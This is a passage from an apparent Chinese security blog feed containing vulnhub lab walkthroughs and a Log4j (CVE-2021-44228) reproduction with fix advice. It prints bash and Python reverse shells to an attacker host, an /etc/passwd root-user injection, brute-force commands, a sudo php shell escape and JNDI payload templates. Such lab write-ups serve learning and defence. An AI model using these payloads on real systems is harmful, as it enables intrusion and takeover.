&lt;img src=&quot;https://www.dxowo8.top/_astro/8.Cn4Mn1or_Z1IyIKd.webp&quot; alt=&quot;80dirbs&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在kali打开1234端口监听，执行&lt;code&gt; bash -c &quot;/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.245.136/1234 0&amp;gt;&amp;amp;1&quot;&lt;/code&gt;将shell重定向到kali，因为网页shell通常不稳定无回显，无法使用 vim、su 等命令，所以优先反弹到Kali监听端，获得更可控的 shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.DmqEs0Ie_ZHVhIQ.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;查看到&lt;code&gt;sudo -l&lt;/code&gt;，发现有brexit用户的/bin/bash权限，通过&lt;code&gt;sudo -u brexit /bin/bash&lt;/code&gt;可以切换到brexit用户。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.IqroyuYM_Z1OEJOS.webp&quot; alt=&quot;brexit&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在查看文件的时候，发现了&lt;code&gt;.viminfo&lt;/code&gt;文件，该文件记录用户vim编辑记录，打开看看。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.DxcYg31x_Z1LQLMs.webp&quot; alt=&quot;viminfo&quot; /&gt;&lt;/li&gt;
&lt;li&gt;有一条/etc/passwd的修改记录，这意味着该用户可能有修改/etc/passwd的权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.DnbpwILc_2eOxiT.webp&quot; alt=&quot;info&quot; /&gt;&lt;/li&gt;
&lt;li&gt;果然如此，我们可以尝试写入一个新的用户来提权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.DtiZceWl_Z1mDpjK.webp&quot; alt=&quot;check&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过openssl获取md5加密密码，将用户按照格式拼接设定密码及root用户后面的内容，例&lt;code&gt;owo:$1$7XYL0jN/$YnDU6e5tSnybrmfipZJji/:0:0:root:/root:/bin/bash&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.BoeyE6jc_Z1m4Srg.webp&quot; alt=&quot;makepwd&quot; /&gt;&lt;/li&gt;
&lt;li&gt;shell交互性比较弱，使用记忆操作将密码输入进去，cat一下发现成功写入。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.CbDNI1yT_ZbmrSI.webp&quot; alt=&quot;writein&quot; /&gt;&lt;/li&gt;
&lt;li&gt;切换用户，输入密码，成功提权至root。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.CwlhRlGW_Zv8lGr.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;通过渗透，我们意识到brexit为网站管理员，通过.viminfo查看历史记录只是其中一种思路，同样如果执行&lt;code&gt;find / -writable -type f -not -path &quot;/proc/*&quot; -not -path &quot;/sys/*&quot; 2&amp;gt;/dev/null&lt;/code&gt;等方式来筛选，也可列出可写文件/etc/passwd。&lt;/li&gt;
&lt;li&gt;在/etc/passwd中，格式详细解释为：&lt;code&gt;用户名:密码占位符:UID:GID:注释信息:主目录:登录Shell&lt;/code&gt;，其中密码解释为：&lt;code&gt;$1$&lt;/code&gt; 表示使用 MD5 加密算法,&lt;code&gt;7XYL0jN/ &lt;/code&gt;是加密用的盐值,后面的字符串是root密码的加密结果，共同拼凑为密码占位符。&lt;/li&gt;
&lt;li&gt;对于交互性弱的shell，需要对编辑器有足够熟悉，可以通过直接背诵操作来完成填写（如vi后按O直接粘贴，按esc后输入wq并回车），交互性差的原因如下图。（大模型生成仅供参考）
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.DI0fXSRG_ZGPPt0.webp&quot; alt=&quot;interact&quot; /&gt;&lt;/li&gt;
&lt;li&gt;提升交互性也可以通过指令提升，可以学习文章&lt;a href=&quot;https://blog.csdn.net/2301_79518550/article/details/144730328&quot;&gt;&apos;https://blog.csdn.net/2301_79518550/article/details/144730328&apos;&lt;/a&gt;,分析了伪终端的原理并提供许多解决方案，很好的解决交互性影响使用的情况。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-fowsniff（信息收集+pop3爆破+ssh的banner提权）</title><link>https://www.dxowo8.top/posts/post-15/15/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-15/15/</guid><description>记录fowsniff靶机渗透过程和思路</description><pubDate>Fri, 13 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-fowsniff（信息收集+pop3爆破+ssh的banner提权）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的fowsniff靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/fowsniff-1,262/&quot;&gt;&apos;https://vulnhub.com/entry/fowsniff-1,262/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.163为靶机。（192.168.245.136为我的kali虚拟机的地址）
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BTofhR7n_YYGHe.webp&quot; alt=&quot;scan&quot; /&gt;&lt;/li&gt;
&lt;li&gt;并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.245.163&lt;/code&gt;，并对开放端口记录用于后续渗透，发现22、80、110、143端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.Dl5dcLbj_ZbSX2i.webp&quot; alt=&quot;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p22,80,110,143 192.168.245.163&lt;/code&gt;，得到端口详细服务内容和系统版本，110端口是pop3服务，143端口是imap服务。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.CEY5gRQ2_qYiIR.webp&quot; alt=&quot;details&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;sudo nmap --script=vuln -p22,80,110,143 192.168.245.162&lt;/code&gt;用脚本扫一下漏洞，扫出部分目录和sql注入可能（简单看了下没什么利用空间）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.D1YTJbad_Z12AgXr.webp&quot; alt=&quot;script&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo gobuster dir -u http://192.168.245.163 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt&lt;/code&gt;目录爆破，简单看下几个目录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.CVXYr3Np_22XyMn.webp&quot; alt=&quot;gobuster&quot; /&gt;&lt;/li&gt;
&lt;li&gt;也可以尝试增加参数，爆破更多信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.D-O3HXOe_1soqr5.webp&quot; alt=&quot;gobuster&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问80端口，简单了解背景，这个公司遭受了网络攻击，在紧急维护，依据提示攻击者将信息暴露在twitter上，但是现在本篇文章好像已经无法打开，重要的部分如下（提示用于pop3登录）：
&lt;code&gt;mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4&lt;/code&gt;，&lt;code&gt;mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56&lt;/code&gt;，&lt;code&gt;tegel@fowsniff:1dc352435fecca338acfd4be10984009&lt;/code&gt;，&lt;code&gt;baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb&lt;/code&gt;，&lt;code&gt;seina@fowsniff:90dc16d47114aa13671c697fd506cf26&lt;/code&gt;，&lt;code&gt;stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd&lt;/code&gt;，
&lt;code&gt;mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b&lt;/code&gt;，&lt;code&gt;parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11&lt;/code&gt;，&lt;code&gt;sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.C08M_llI_PtvFI.webp&quot; alt=&quot;infor&quot; /&gt;&lt;/li&gt;
&lt;li&gt;把以上用户名存入user.txt，密码解密后存入pwd.txt，尝试用hydra进行pop3爆破，&lt;code&gt;hydra -L user.txt -P pwd.txt 192.168.245.163 pop3&lt;/code&gt;，爆破出来seina:scoobydoo2可用。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.4k374jLf_Z1XshKB.webp&quot; alt=&quot;hydra&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用nc连接110端口，参照pop3语句语法，查看邮件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.CFHq975k_1O5u6e.webp&quot; alt=&quot;nc&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看邮件内容，获得了该公司给员工的临时密码&lt;code&gt;S1ck3nBluff+secureshell&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.Gvcq2Ry4_1nSnQG.webp&quot; alt=&quot;pwd&quot; /&gt;&lt;/li&gt;
&lt;li&gt;crackmapexec爆破ssh，&lt;code&gt;crackmapexec ssh IP -u user.txt -p &quot;S1ck3nBluff+secureshell&quot;&lt;/code&gt;，试出来了是baksteen。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.B6lrOTWT_eC5Cc.webp&quot; alt=&quot;crackmapexec&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用baksteen和密码进行ssh连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.B6Ajjb62_Z2wb2YI.webp&quot; alt=&quot;login&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;为users组用户，&lt;code&gt;find / -group user -type f 2&amp;gt;/dev/null&lt;/code&gt;搜索有权限文件，我们去看看cube.sh。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.3Zk8oVOI_Z1ugz1J.webp&quot; alt=&quot;users&quot; /&gt;&lt;/li&gt;
&lt;li&gt;这个是ssh连接欢迎界面的脚本，在用户连接ssh时执行，我们检查了有python3环境，试着写入反弹shell，&lt;code&gt;python3 -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.245.136&quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&apos;&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.D1kCb_hk_rpQt6.webp&quot; alt=&quot;reverse_shell&quot; /&gt;&lt;/li&gt;
&lt;li&gt;打开监听并重新进行ssh连接，成功提权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.B_tv3kcr_ZLYGnf.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;端口服务解释：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;POP3：属于TCP/IP协议族，用户可以把邮件从服务器下载到本地，下载后该服务器上删掉该文件，节省服务器空间，在客户端的操作不会反馈到服务器上。&lt;/li&gt;
&lt;li&gt;IMAP：是一个应用层协议，不同的是，收取的邮件仍然保留在服务器上，同时在客户端上的操作都会反馈到服务器上，服务器上的邮件也会做相应的动作。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;cubd.sh脚本虽然所属不是root，但是返回了root的权限，经过监控进程，登录时是root执行的该脚本，所以获得root的反弹shell，渗透过程中往往可以大胆尝试，有时会获取出乎意料的结果。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-meandmygirlfriend（x-forwarded-for主机头转发+简单php提权）</title><link>https://www.dxowo8.top/posts/post-14/14/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-14/14/</guid><description>记录meandmygirlfriend靶机渗透过程和思路</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-meandmygirlfriend（burp的x-forwarded-for主机头转发+简单php提权）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的meandmygirlfriend靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/me-and-my-girlfriend-1,409/&quot;&gt;&apos;https://vulnhub.com/entry/me-and-my-girlfriend-1,409/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.162为靶机。（192.168.245.136为我的kali虚拟机的地址）
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.P1Bw7AXc_1MwT6S.webp&quot; alt=&quot;scan&quot; /&gt;&lt;/li&gt;
&lt;li&gt;并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.245.162&lt;/code&gt;，并对开放端口记录用于后续渗透，发现22、80端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.B3kVF6bn_2vNh8T.webp&quot; alt=&quot;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p22,80 192.168.245.162&lt;/code&gt;，得到端口详细服务内容和系统版本。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.B4FauxqP_2jmmva.webp&quot; alt=&quot;details&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;sudo nmap --script=vuln -p22,80 192.168.245.162&lt;/code&gt;用脚本扫一下漏洞，扫描出个robots.txt。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.D3DjUj5r_Z1VKtnP.webp&quot; alt=&quot;script&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo gobuster dir -u http://192.168.245.162 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt&lt;/code&gt;目录爆破。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.dMXo41AV_1Iogjz.webp&quot; alt=&quot;gobuster&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问80端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.DMfXgP58_ZrNpTx.webp&quot; alt=&quot;web&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看原码搜寻更多信息，提示有x-forwarded-for，可以通过修改Host头将请求转发到本地访问试试。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.B7P0jEYy_bOXqL.webp&quot; alt=&quot;tips&quot; /&gt;&lt;/li&gt;
&lt;li&gt;先看看刚才的robots.txt。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.BA2txyNq_1g0Fib.webp&quot; alt=&quot;txt&quot; /&gt;&lt;/li&gt;
&lt;li&gt;根据指引继续查看，没什么收获。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.CE3htOQO_YOTAo.webp&quot; alt=&quot;txt&quot; /&gt;&lt;/li&gt;
&lt;li&gt;按照如图打开burp，添加匹配规则，将请求头替换为&lt;code&gt;x-forwarded-for:localhost&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.CeJIqjN7_V9Onb.webp&quot; alt=&quot;request&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用burp代理，再次访问服务器。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.BqGKhtDe_Z1dP9b1.webp&quot; alt=&quot;burp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;自行注册一个账号。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.BYa4M8gU_ZTxJIF.webp&quot; alt=&quot;register&quot; /&gt;&lt;/li&gt;
&lt;li&gt;登录注册的账号。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.Bxh3WcTv_Z8K6iP.webp&quot; alt=&quot;login&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试修改url中的user_id为其它数字。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.Dkn_f3yt_Z1AOoFl.webp&quot; alt=&quot;userid&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看原码，能够读到明文密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.CiyVCyH4_Z2hfa2z.webp&quot; alt=&quot;pwd&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试ssh连接，在尝试到第五个用户&lt;code&gt;alice 4lic3&lt;/code&gt;，获得shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.BvAKIrqN_x5oze.webp&quot; alt=&quot;cs&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;寻找一番没什么有用信息，查看数据库文件，有root的数据库密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.CmRUjDS6_1ish1P.webp&quot; alt=&quot;jsfuck&quot; /&gt;&lt;/li&gt;
&lt;li&gt;连接数据库，看了看没有额外收获，是之前看到的表的信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.DwHG5J2t_1TRcwL.webp&quot; alt=&quot;decode&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo -l&lt;/code&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.CRhwmBAg_BiarD.webp&quot; alt=&quot;sudol&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看特权，有对一个php文件的无密码root执行权限，执行&lt;code&gt;sudo /usr/bin/php -r &quot;system(&apos;/bin/bash&apos;);&quot;&lt;/code&gt;，提权完毕。
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.DmoH07VA_Z17LNL7.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本靶机相对简单许多，但仍有值得学习的点，对于我而言，burp匹配替换请求头主机代理较新，看了看代码，对于本地请求创建了白名单，通过对请求头信息提取进行匹配验证，所以仅仅通过这样匹配是存在漏洞的，可以被伪造绕过。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.2jWQjF6J_Z294udj.webp&quot; alt=&quot;code&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>log4j漏洞（CVE-2021-44228）验证与利用复现及修复建议</title><link>https://www.dxowo8.top/posts/post-13/13/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-13/13/</guid><description>记录log4j漏洞的检测方式与通过JNDI工具的漏洞利用</description><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;log4j漏洞（CVE-2021-44228）验证与利用复现及修复建议&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文仅为个人技术学习实验记录，工具使用需严格遵守当地法律法规，请勿用于任何未授权的网络活动，违规使用后果自负。&lt;/li&gt;
&lt;li&gt;JNDI工具下载地址为&lt;a href=&quot;https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2&quot;&gt;&apos;https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;漏洞介绍&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Log4j漏洞（CVE-2021-44228）是Java日志框架Log4j2中的远程代码执行（RCE）漏洞，影响范围2.0至2.14.1版本。攻击者可通过构造特定输入触发JNDI注入，最终在目标服务器上执行任意代码。&lt;/li&gt;
&lt;li&gt;JNDI是Java提供的一个统一资源访问接口，允许应用程序通过名称动态加载远程对象。JNDI注入是一种安全漏洞，当攻击者能控制 lookup() 方法的参数时，可以将恶意 URL 传入，触发目标系统加载远程恶意类，最终实现远程代码执行，log4j是JNDI注入的一个典例。&lt;/li&gt;
&lt;li&gt;CVE-2021-44228原理： Log4j2支持&lt;code&gt;${}&lt;/code&gt;占位符解析，其中JNDI Lookup功能允许通过&lt;code&gt;ldap://、rmi://&lt;/code&gt;等协议访问远程资源。攻击者在可被记录到日志的字段（如HTTP头、参数、用户名）中注入payload：通过构造&lt;code&gt;${jndi:ldap://恶意服务器/Exploit}&lt;/code&gt;，在Log4j解析日志时触发&lt;code&gt;JndiLookup.lookup()&lt;/code&gt;，向攻击者控制的LDAP/RMI服务器发起请求，恶意服务器返回包含恶意字节码的Reference对象，目标服务器加载并执行该字节码，实现RCE。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;验证过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;sudo docker pull vulfocus/log4j2-rce-2021-12-09&lt;/code&gt;拉取容器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo docker run -d -p 8080:8080 --name log4j2-rce vulfocus/log4j2-rce-2021-12-09&lt;/code&gt;启动容器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo docker ps -a&lt;/code&gt;确保启动成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.CTqhU_a9_Z1tcYK7.webp&quot; alt=&quot;docker&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过浏览器打开虚拟机的8080端口证明log4j的docker靶场部署成功，点击???在上方url中发现payload测试处。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.CU5hI048_Z25P7yX.webp&quot; alt=&quot;8080port&quot; /&gt;&lt;/li&gt;
&lt;li&gt;poc测试： 按照&lt;code&gt;${jndi:ldap://url}&lt;/code&gt;格式，将语句中的url替换拼接成通过&lt;a href=&quot;https://dnslog.org/&quot;&gt;&apos;https://dnslog.org/&apos;&lt;/a&gt;生成的域名，进行url编码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.Cm7J2zrw_1pSGUP.webp&quot; alt=&quot;poc&quot; /&gt;&lt;/li&gt;
&lt;li&gt;拼接url到payload处访问，在dnslog网站点击get results获得dns查询记录信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.gP4i8tnb_1b0dzo.webp&quot; alt=&quot;dns&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.C5eHsKQq_Z2Au48.webp&quot; alt=&quot;results&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对&lt;code&gt;${jndi:ldap://${sys:java.version}.url}&lt;/code&gt;进行url编码，再拼接payload执行，如图获得版本信息，漏洞验证完成。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.7f80_Jaq_OhdLP.webp&quot; alt=&quot;version&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;利用过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;接下来通过exp检测，在搭建的恶意服务器上通过下载github上的jndi工具（文章开头有链接），解压缩后执行&lt;code&gt;java -jar 文件名 -i 此服务器地址&lt;/code&gt;，其将8080端口开放一个HTTP服务，1389端口开放LDAP服务。（参数-u 查看用法，-h查看帮助）
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.ns2NTPlR_Zm1j60.webp&quot; alt=&quot;jndidownload&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将该服务器或者自己的另一台机器（我这里仍然用的服务器）使用netcat打开8888端口监听，用于后续接收反弹shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.DnMCJlNV_Zgu5lG.webp&quot; alt=&quot;nc&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用base64编码构造exp。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.Bxnwi3Bs_58HXk.webp&quot; alt=&quot;b64exp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;编码结果再进行url编码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.DlaOkdRa_2pjx0Q.webp&quot; alt=&quot;url&quot; /&gt;&lt;/li&gt;
&lt;li&gt;拼接如图链接获得完整payload，再进行url编码，填入网页payload访问。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.Ck3em84N_Z26L5Ts.webp&quot; alt=&quot;nc&quot; /&gt;&lt;/li&gt;
&lt;li&gt;打开监听机器，已经拿下目标机器root权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.CNlGxI9M_ZRNMpR.webp&quot; alt=&quot;root&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;服务器上的LDAP服务作用是什么？&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Log4j2的漏洞触发依赖JNDI注入，JNDI支持LDAP/RMI/DNS等协议，该服务器接收目标机器的JNDI请求，目标机器解析&lt;code&gt;${jndi:ldap://攻击者IP:端口/xxx}&lt;/code&gt;payload 时，会主动向攻击者的LDAP服务器发起连接请求；&lt;/li&gt;
&lt;li&gt;由于LDAP服务器不会存储恶意类，需要向目标机器返回一个攻击者搭建的HTTP服务器地址，引导目标机器从该地址下载并执行恶意类，此JNDI注入工具正是集成了LDAP,HTTP环境，降低了JNDI注入的复杂度。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;为什么复现中优先用LDAP而非 RMI？&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;RMI 协议在 Java 8u121+版本中默认禁止加载远程类，而 LDAP 协议无此严格限制。&lt;/li&gt;
&lt;li&gt;防护绕过：部分目标系统会拦截RMI请求，但对LDAP的拦截概率更低（LDAP 是企业常用协议，易被误认为合法流量）。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;修复和防护建议：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;版本升级：将版本升级至 Log4j2 2.17.1+。&lt;/li&gt;
&lt;li&gt;防火墙：拦截出站的 LDAP/RMI 请求（阻止靶机访问恶意 LDAP 服务器）。&lt;/li&gt;
&lt;li&gt;日志监控：检查日志中是否包含&lt;code&gt;${jndi:/ldap://&lt;/code&gt;等特征字符串。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>vulnhub靶机-connect-the-dots（jsfuck、morsecode解密+断电.swp文件+polkit-agent-helper提权）</title><link>https://www.dxowo8.top/posts/post-12/12/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-12/12/</guid><description>记录connect-the-dots靶机渗透过程</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-connect-the-dots（jsfuck、morsecode解密+断电.swp文件+polkit-agent-helper提权）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的connect-the-dots靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/connect-the-dots-1,384/&quot;&gt;&apos;https://vulnhub.com/entry/connect-the-dots-1,384/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.161为靶机。（192.168.245.136为我的kali虚拟机的地址）
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BugAHI9r_Z1XWrbA.webp&quot; alt=&quot;scan&quot; /&gt;&lt;/li&gt;
&lt;li&gt;并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.245.161&lt;/code&gt;，并对开放端口记录用于后续渗透，发现21、80、111、2049、7822、40397、46625、51427、52883端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.YwYebJ_n_Z1F9eGI.webp&quot; alt=&quot;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p21,80,111,2049,7822,40397,46625,51427,52883 192.168.245.161&lt;/code&gt;，得到端口详细服务内容和系统版本,7822探测出来为ssh服务，其它就是21端口ftp服务，80端口http服务，2049端口nfs服务。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.BT4kphoO_Z11rPT5.webp&quot; alt=&quot;details&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;sudo nmap --script=vuln -p21,80,111,2049,7822,40397,46625,51427,52883 192.168.245.161&lt;/code&gt;用脚本扫一下漏洞（未探测到服务信息的部分端口这里没有加上）。
